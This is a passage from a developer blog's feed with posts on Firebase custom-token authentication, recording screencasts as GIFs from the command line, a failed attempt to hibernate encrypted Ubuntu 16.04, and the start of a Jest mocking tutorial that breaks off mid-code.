&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; firebaseAdmin&lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt; from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;firebase-admin&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;firebaseAdmin&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;initializeApp&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  credential: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;firebaseAdmin&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;credential&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cert&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;serviceAccountConfig&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  databaseURL: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;your_url&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; customToken&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; firebaseAdmin&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;auth&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;createCustomToken&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;backend&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;&#39;backend&#39;&lt;/code&gt; value can actually be any string, but will identify the user of
this token (you can see it in your Firebase dashboard).&lt;/p&gt;
&lt;h2&gt;Authenticating using the custom token&lt;/h2&gt;
&lt;p&gt;Now that I had the token, I had to actually authenticate using it. To do so, I
initialized my &lt;code&gt;firebase&lt;/code&gt; with &lt;code&gt;initializeApp&lt;/code&gt; as usual, then sign in with the
custom token:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; firebase&lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt; from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;firebase&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;firebase&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;initializeApp&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;your_config&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;firebase&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;auth&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;signInWithCustomToken&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customToken&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now my &lt;code&gt;firebase&lt;/code&gt; instance can read and write data from my Firebase database.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Hope that helps. I got confused at first between identification and
authentification and it also took me a while to understand that I needed to mint
the custom token with the admin and the authenticate using it.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Creating a screencast from the commandline</title>
    <link href="https://blog.pixelastic.com/2017/10/26/creating-a-screencast-from-the-commandline/"/>
    <updated>2017-10-26T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2017/10/26/creating-a-screencast-from-the-commandline</id>
    <content type="html">&lt;p&gt;A picture is worth a thousand words, that&#39;s why I always try to add screencasts
when describing an issue I&#39;m facing. I found it useful to be able to record my
screen when I&#39;m filing a GitHub issue about some UI or UX issue.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2017-10-26/github_issue.gif&quot; alt=&quot;Screencast of a screencast. Wow, so meta&quot;&gt;&lt;/p&gt;
&lt;p&gt;I have a method called &lt;code&gt;gif-record&lt;/code&gt; in my command line toolbox that let me do
that. It let me draw a rectangle on screen, record what is happening inside, and
get a &lt;code&gt;.gif&lt;/code&gt; as output to share as I please;&lt;/p&gt;
&lt;p&gt;It seems pretty simple when explained like that, but is actually some kind of
Frankeinstein&#39;s monster plugging command line tools together to get to the end
result. In this article, I&#39;ll guide you through the pieces so you can build your
own for your own needs.&lt;/p&gt;
&lt;p&gt;First of all, I&#39;m using &lt;a href=&quot;https://github.com/naelstrof/slop&quot;&gt;slop&lt;/a&gt; with &lt;code&gt;slop -f &amp;quot;%x %y %w %h&amp;quot;&lt;/code&gt; to draw a
rectangle on screen, and get back the x,y coordinates, width and height. I then
pass those coordinates to &lt;code&gt;ffmpeg -f x11grab&lt;/code&gt; using the &lt;code&gt;-s {width}x{height}&lt;/code&gt;
and &lt;code&gt;-i :0.0+{x},{y}&lt;/code&gt; options to tell it to record the screen at those
coordinates.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.ffmpeg.org/documentation.html&quot;&gt;ffmpeg&lt;/a&gt; comes with &lt;strong&gt;a lot&lt;/strong&gt; of option flags, but what I&#39;m using is &lt;code&gt;-y&lt;/code&gt; to
overwrite any existing file, &lt;code&gt;-r 25&lt;/code&gt; for a recording at 25FPS and &lt;code&gt;-q 1&lt;/code&gt; to get
the best video quality possible.&lt;/p&gt;
&lt;p&gt;To stop the &lt;code&gt;ffmpeg&lt;/code&gt; recording, you can either &lt;code&gt;Ctrl-C&lt;/code&gt; the command you started,
or kill it by its &lt;code&gt;pid&lt;/code&gt;. In my script (see link at the end of the article) I
chose the second option, but won&#39;t get into more details about that here.&lt;/p&gt;
&lt;p&gt;For the next step, I also use &lt;code&gt;ffmpeg&lt;/code&gt;, but now that I have a video file, I&#39;ll
convert it into a serie of still frames in &lt;code&gt;.png&lt;/code&gt; format. The command I&#39;m using
is &lt;code&gt;ffmpeg -i {input_video_file.mkv} -r 10 &#39;frames/%04d.png&#39;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;-i&lt;/code&gt; marks the input file and the &lt;code&gt;frames/%04d.png&lt;/code&gt; will define the pattern
of the output files (in that case, they will be saved in the &lt;code&gt;./frames&lt;/code&gt; folder,
with incrementing 4-digits names).&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;-r&lt;/code&gt; flag is used once again to define the FPS. 10 is enough for my needs,
as I record terminal output. It&#39;s smooth enough while keeping the filesize
small, but feel free to increase it. I decided to keep my recording at 25FPS to
have the smoothest recording possible, but adjust the still frame FPS depending
on how smooth I want the end result.&lt;/p&gt;
&lt;p&gt;Once I have all my still frames, I&#39;ll combine them into one &lt;code&gt;.gif&lt;/code&gt; file. At this
point, I would recommend removing some of the first and last frames as I always
end up recording some garbage at the start and end. Determining the number of
files I need to delete is easy to calculate based on the FPS I defined; if I
want to remove 2 seconds at the start with and FPS of 10, it means removing the
20 first frames.&lt;/p&gt;
&lt;p&gt;Converting &lt;code&gt;png&lt;/code&gt; files into an animated &lt;code&gt;gif&lt;/code&gt; can be done using &lt;code&gt;convert&lt;/code&gt; (it&#39;s
included in ImageMagick). The basic syntax is
&lt;code&gt;convert ./frames/*.png output.gif&lt;/code&gt;, but I also add the &lt;code&gt;-delay 10&lt;/code&gt; option to
the mix. The actual value to pass to &lt;code&gt;-delay&lt;/code&gt; will require some basic math: it
should be equal to 100 divided by the FPS you defined earlier. For my previous
example of an FPS of 10, the delay is 10, but if you had chosen an FPS of 25,
the delay should then be set to 4 (100/25 = 4)&lt;/p&gt;
&lt;p&gt;By default the generated gif will play once and then stop. I can control the
number of times it loops by using the &lt;code&gt;-loop&lt;/code&gt; option. A value of &lt;code&gt;0&lt;/code&gt; will make
if loop indefinitely (my favorite).&lt;/p&gt;
&lt;p&gt;At this stage I thought I was done, but the generated gif will most certainly be
too heavy to upload to GitHub issues as it&#39;s not optimized at all.&lt;/p&gt;
&lt;p&gt;Compressing a &lt;code&gt;gif&lt;/code&gt; will require a tool called &lt;code&gt;gifsicle&lt;/code&gt;. But I should not use
the &lt;a href=&quot;https://www.lcdf.org/gifsicle/&quot;&gt;official one&lt;/a&gt; but its &lt;a href=&quot;https://github.com/pornel/giflossy&quot;&gt;giflossy fork&lt;/a&gt;. The original gifsicle does not
have an option to compress files in a lossy format while &lt;code&gt;giflossy&lt;/code&gt; (as the name
suggests) can. Why are there two versions of the same tool in diverging
branches? Well, &lt;a href=&quot;https://github.com/kohler/gifsicle/pull/16&quot;&gt;OSS is hard&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Anyway, once the gifsicle fork is installed, I can used it with
&lt;code&gt;gifsicle input.gif --lossy=80 -o output.gif&lt;/code&gt;. The lower the value I pass to
&lt;code&gt;--lossy&lt;/code&gt; the more aggressive the compression will be. I also add &lt;code&gt;--colors 256&lt;/code&gt;
to force the conversion of into a 256 palette.&lt;/p&gt;
&lt;p&gt;And that&#39;s it. By plugging all those tools together, I now have a way to record
parts of my screen and share the outputy, directly from my terminal.&lt;/p&gt;
&lt;p&gt;You can have a look at &lt;a href=&quot;https://github.com/pixelastic/img/blob/master/bin/gif-record&quot;&gt;my full implementation&lt;/a&gt;, wrapped in a ruby script if
you&#39;re interested. You should also have a look at &lt;a href=&quot;https://github.com/vvo/gifify&quot;&gt;gifify&lt;/a&gt; which is the tool
that I was originally using for converting videos to gif files.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>(Not)Hibernating Ubuntu 16.04 with full disk encryption</title>
    <link href="https://blog.pixelastic.com/2017/10/22/hibernating-ubuntu-16-04/"/>
    <updated>2017-10-22T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2017/10/22/hibernating-ubuntu-16-04</id>
    <content type="html">&lt;p&gt;To maximize the usage of my new laptop battery, I wanted to have it hibernate
when I close the lid. I could see I had an &amp;quot;Hibernate&amp;quot; option in the settings,
but it always stayed always greyed out and I could not select it.&lt;/p&gt;
&lt;p&gt;One morning I sat at the table decided to fix this issue. First thing I tried
was running &lt;code&gt;sudo pm-hibernate&lt;/code&gt; to see if I could actually hibernate. The
command did nothing except returning and error code 1.&lt;/p&gt;
&lt;p&gt;After some Googling, I understood it had to do with my BIOS configuration. I
have Secure Boot enabled in my BIOS, which seems to prevent hibernating.&lt;/p&gt;
&lt;p&gt;One reboot later, after having disabled this option from the BIOS, I ran
&lt;code&gt;sudo pm-hibernate&lt;/code&gt; again, and this time I had much better results. My screen
turned off for 2 seconds, then back again for 2 more seconds, then the laptop
went to sleep.&lt;/p&gt;
&lt;p&gt;Great! I&#39;m making progress. So I&#39;m pressing the switch button to turn it back
on, but instead of coming back to my session, it initiated a whole reboot, going
through the Lenovo splash screen and Ubuntu cryptsetup prompt.&lt;/p&gt;
&lt;p&gt;More Googling told me that I need to configure GRUB to define what swap
partition it should attempt to resume from. When you hibernate, the whole RAM
memory is flushed to swap. GRUB needs to know the UUID of the swap disk holding
that info.&lt;/p&gt;
&lt;p&gt;To get the UUID, I typed &lt;code&gt;sudo blkid | grep swap&lt;/code&gt; to get a list of all swap
devices. In my case, I had two of them:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/dev/mapper/ubuntu--vg-swap_1: UUID=&quot;b0d3688c-e44a-4972-b18a-43e79ca3777c&quot; TYPE=&quot;swap&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/dev/mapper/cryptswap1: UUID=&quot;78df939a-d7a9-46dc-9082-d46415cd6e0a&quot; TYPE=&quot;swap&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ok, so which one is it? Because I&#39;m using Ubuntu full disk encryption, one of
those two disks is actually the encrypted swap disk and the other is the &amp;quot;live&amp;quot;
decrypted swap. But which is which?&lt;/p&gt;
&lt;p&gt;&lt;code&gt;swapon -s&lt;/code&gt; told me the name of the active swap: &lt;code&gt;/dev/dm-3&lt;/code&gt;. Ok, that&#39;s a good
start. &lt;code&gt;sudo dmsetup info /dev/dm-3&lt;/code&gt; yield the final answer: it&#39;s &lt;code&gt;cryptswap1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So &lt;code&gt;cryptswap1&lt;/code&gt; is the active swap; it means it&#39;s the decrypted swap, so
&lt;code&gt;ubuntu--vg-swap_1&lt;/code&gt; is the actual encrypted swap. It actually makes sense, as
the &lt;code&gt;vg&lt;/code&gt; in the name stands for &amp;quot;Volume Group&amp;quot;, a term used in LVM terminology.&lt;/p&gt;
&lt;p&gt;My issue with that setup is that I cannot tell GRUB to resume on the decrypted
swap, because the UUID of this swap will be randomly assigned at each boot and
more importantly it won&#39;t be decrypted yet when resuming.&lt;/p&gt;
&lt;p&gt;But I cannot tell GRUB to boot on the encrypted swap disk either as it will be
random garbage from its point of view.&lt;/p&gt;
&lt;p&gt;I was stuck. Other solutions online suggest that I could flush my RAM to a disk
that was not encrypted so I could resume from it, but that defeats the purpose
of encrypting my disks if I dump everything that is in RAM to a readable disk.&lt;/p&gt;
&lt;p&gt;After hours and hours of Googling and trying, I was about to give up. That&#39;s
when I decided to ask one of my coworker that I know has a similar setup: Linux
on a Lenovo laptop, using encrypted disks.&lt;/p&gt;
&lt;p&gt;His answer was all I needed:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;over the years I just made my mind over the fact that hibernate was broken and
I never even try to see if it&#39;s fixed, I just consider it as broken forever&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ok.&lt;/p&gt;
&lt;p&gt;That&#39;s not just me then. Hibernating and having an encrypted drive are mutually
exclusive. Too bad, I&#39;d rather keep the encrypted drive.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Mocking in Jest</title>
    <link href="https://blog.pixelastic.com/2017/09/29/mocking-in-jest/"/>
    <updated>2017-09-29T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2017/09/29/mocking-in-jest</id>
    <content type="html">&lt;p&gt;I used to do my JavaScript testing using a combination of &lt;code&gt;mocha&lt;/code&gt;, &lt;code&gt;expect&lt;/code&gt; and
&lt;code&gt;sinon&lt;/code&gt;, but &lt;a href=&quot;https://facebook.github.io/jest/&quot;&gt;Jest&lt;/a&gt; packages all those
features into one cohesive package.&lt;/p&gt;
&lt;p&gt;Transitioning to Jest has been smooth. The part that took me a while to figure
out is how to properly mock methods, and this is what I&#39;m going to develop here.&lt;/p&gt;
&lt;h2&gt;Mocking direct methods&lt;/h2&gt;
&lt;p&gt;Imagine a dummy component with two methods, &lt;code&gt;foo&lt;/code&gt; and &lt;code&gt;bar&lt;/code&gt;, with the following
implementation:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; component&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      id: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      name: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;component&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;bar&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  bar&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; alpha&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;bar&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; beta&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;baz&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;alpha&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;}-${&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;beta&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; default&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; component&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Calling &lt;code&gt;foo(42)&lt;/code&gt; will return &lt;code&gt;{ id: 42, name: &#39;bar-baz&#39; }&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;bar&lt;/code&gt; method is straightforward to test as it does not have any
dependencies. All we have to test is that the output is the one we are
expecting. The code can be simplified but I&#39;m making it overly complicated here
on purpose.&lt;/p&gt;
&lt;p&gt;The point is that when we test &lt;code&gt;foo&lt;/code&gt;, we don&#39;t want to deal with the internals
of &lt;code&gt;bar&lt;/code&gt;. We should be able to change the internals of &lt;code&gt;bar&lt;/code&gt; and have our &lt;code&gt;foo&lt;/code&gt;
tests still work. Actually, we could even completly change the return value of
&lt;code&gt;bar&lt;/code&gt; and still have our &lt;code&gt;foo&lt;/code&gt; tests pass.&lt;/p&gt;
&lt;p&gt;To achieve that decoupling, the trick is to mock the &lt;code&gt;bar&lt;/code&gt; method to control its
behavior during our test.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; component&lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt; from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./component.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;describe&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;component&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  afterEach&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(()&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    jest&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;restoreAllMocks&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  it&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;should have the name set to the value of bar()&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Given&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; input&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 42&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; expected&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      id: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      name: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;my-mock-name&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // When&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    jest&lt;/span&gt;&lt;/span&gt;
